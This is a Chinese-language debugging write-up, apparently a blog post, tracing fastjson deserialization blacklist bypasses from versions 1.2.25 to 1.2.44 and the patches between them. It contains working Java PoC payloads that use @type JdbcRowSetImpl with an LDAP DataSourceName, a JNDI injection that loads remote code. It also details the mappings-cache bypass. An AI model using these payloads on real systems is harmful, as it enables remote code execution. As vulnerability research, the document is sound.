这里调用的是 ObjectArrayCodec 的 deserialze 方法,很显然是因为前面创建的数组

image-20231013194526884

这进行两次 token 的判断

image-20231013194621960

根据这个表,当前的这个 token 是 16(就是这个类名后面的这个 ","),然后判断是不是 GenericArrayType 的一个实例

image-20231013194831843

这里通过 getComponentType 对类名进行了处理,但是这里是一个本地方法没法调试,这里可以看到处理后去掉了我们加上多余的字符,跟进这个 parseArray 方法

image-20231013195001556

这里可以看到刚刚的报错的内容

image-20231013195625560

当前是 16,这里判断如果不等于 14 就会抛出异常,解决的方式也很简单,在 "," 前面加上 [即可

public class poc25to41JNI {
    public static void main(String[] args) {
//        String str = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"DataSourceName\":\"ldap://127.0.0.1:8087/T\",\"AutoCommit\":false}";
        String str = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[,\"DataSourceName\":\"ldap://127.0.0.1:8087/T\",\"AutoCommit\":false}";
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        JSON.parseObject(str);
    }
}

image-20231013195839474

又出现了新的报错

# 第二次调试

这里出现了一个报错,在第 43 个位置遇到了一个字符串而不是预期的代码块(花括号 {} )。简单来所就是花括号成对出现就可以了

image-20231013200128224

这里根据报错直接将这个逗号换为花括号即可

public class poc25to41JNI {
    public static void main(String[] args) {
//        String str = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"DataSourceName\":\"ldap://127.0.0.1:8087/T\",\"AutoCommit\":false}";
        String str = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{\"DataSourceName\":\"ldap://127.0.0.1:8087/T\",\"AutoCommit\":false}";
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        JSON.parseObject(str);
    }
}

重新调试一下

image-20231013200508836

这里将逗号换为花括号与后面那个花括号匹配后这里不在抛出异常

image-20231013200602499

这里会一直走到这个地方,跟进这个方法

image-20231013200643176

调用 JavaBeanDeserializer 的 deserialze 方法

image-20231013200721141

这里也是看到了刚刚出现报错的地方

image-20231013201348528

这里看一下最外层的判断,如果下一个字符不是,左大括号 { 或逗号 , ,它会进一步检查是否是空白输入,这里使用 {即可

image-20231013201745265

经过一系列的判断后,实际上是到这个位置

image-20231013201917923

到这里期间的没有别的问题,一路调用

image-20231013201948654

继续跟进

image-20231013202007701

一直到这个方法的 setvalue 方法才算是结束了,后面的就和前面调试过程一样了

# mappings

很显然上面的利用中,需要开启 autoType,这显然是有很强的限制条件的,很显然我们想要是一种限制条件更加少的利用方式,也就是下面要记录的这种,上一种方式使用的是 loadClass 来加载类,但是由于黑白名单的限制,很显然想要直接绕过是比较困难的

image-20231013210200978

这里有一个从缓存中获取类的方法,这里就是我们现在要利用的突破口

image-20231013210450374

这里是从 mappings 中去寻找,这里看一些哪里可以给这个 mappings 赋值

image-20231013210951110

这里先看第一处

image-20231013211036095

在这个 TypeUtils 这个类中会将基础类型添加进缓存,然后将异常类定义为一个 class 数组

image-20231013211205774

最后通过循环也添加进缓存,这里都是硬编码的部分是没法控制的,接着看第二处

image-20231013211311957

还是在这个类下的 loadclass 方法中,这里这样写是为了提高效率,已经加载的类放入缓存中不必重新加载,这里只需要我们想办法先将恶意类加载到缓存中就可以了,接着找哪里可控调用了这个 loadClass 方法

image-20231013211733576

这里找了一下哪里调用了这个 loadClass 方法,这里实际上可用的只有这个 com.alibaba.fastjson.serializer.MiscCodec 的 deserialze 方法里有可操作的空间

image-20231013211946404

这个类实现了 ObjectSerializer,ObjectDeserializer 所以他是一个序列化,反序列化器

image-20231014195731732

这里会调用 TypeUtils 的 loadClass 方法,这里回头查看一下哪里使用了这个序列化反序列化器

image-20231014185401945

在 ParserConfig 这个类里,会将这个序列化器和对应的类 put 进 deserializers,简单来所就是这里一些内置的类会定义好用哪个序列化器进行序列化和返序列化

image-20231014191424672

这里就比较熟悉了,在 conf 中去获取类加载器,根据类名

image-20231014191529453

conf 中存在前面 deserializers,根据这个来获取序列化器,然后再通过这个序列化器来进行序列化

image-20231014191750656

在 checkAutoType 中存在一个 getClassFromMapping 方法

image-20231014191831152

这里会从缓存中获取这个类

image-20231014191941769

这里就会添加到 mapping 中,漏洞点实际上就比较简单了,首先加载一个恶意类到缓存中,然后再 checkAutoType 会从缓存中获取到这个恶意类来达到我们的目的

先看下面这个示例

image-20231014221632484

image-20231014194329500

# 调试

这里还是调试看一下

image-20231014200240317

断点还是下在老位置

image-20231014201944667

这里因为第一个 token 是 {,所以会调用 parse 这个方法

image-20231014200442103

前面的其他调试这里也不在啰嗦,就出现了上面那一点变化,这里直接到第一次调用这个这个 checkAutoType 方法,传入的 typename 是 java.lang.class 类

image-20231014200813177

这个类不会被黑名单过滤,所以这里会走到这个 findClass 方法,这里是一个内置类,是有对应的反序列化器的

image-20231014200932401

所以这里会被加载到,就退出了

image-20231014201001452

可以看到当前的类是 Class

image-20231014201033117

这里检查下一个 token

image-20231014201140207

这里根据 class 这个类寻找对应的反序列化器,就是这个 MiscCode

image-20231014201231713

调用这个 MiscCode 的 deserialze 方法

image-20231014201349108

这里会判断第二个参数,如果不为 val 会抛出异常

image-20231014201633066

经过一系列的判断,最后会走到这个 TypeUtils.loadClass 方法,跟进一下

image-20231014201746471

在缓存中肯定是找不到的

image-20231014201815892

这里会调用到这样一个方法,将我们的恶意类加入的缓存中

image-20231014202107136

这里因为第二个 @type 的存在,会第二次走到这个 checkAutoType 这个类中

image-20231014202220577

这时能够从缓存中获取这个类,然后后面的流程也就一样了

# fastjson=1.2.42

这个版本中黑名单由明文变为了加密后的,前面的 poc 也只有一种使用 L; 绕过的方式受到了影响

image-20231014212118548

image-20231014212054904

在黑名单的校验后,还将第一个字符和最后一个字符去了,绕过也很简单,双写即可

public class poc42 {
    public static void main(String[] args) {
        String str = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"DataSourceName\":\"ldap://127.0.0.1:8087/T\",\"AutoCommit\":false}";
//      String str = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{\"DataSourceName\":\"ldap://127.0.0.1:8087/T\",\"AutoCommit\":false}";
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        JSON.parseObject(str);
        }
}

# fastjson=1.2.43

这里还是看到这个 checkAutoType 方法

image-20231014212643507

这里对开头是两个 L 的做了一次判断,所以就不能再使用双写 L 的方式,这里还能使用前面的 mapping 和 [的方式

# fastjson=1.2.44

image-20231014213031078

对开始位置是 [也做了现在,还能使用前面说到的 mapping 缓存的利用方式即可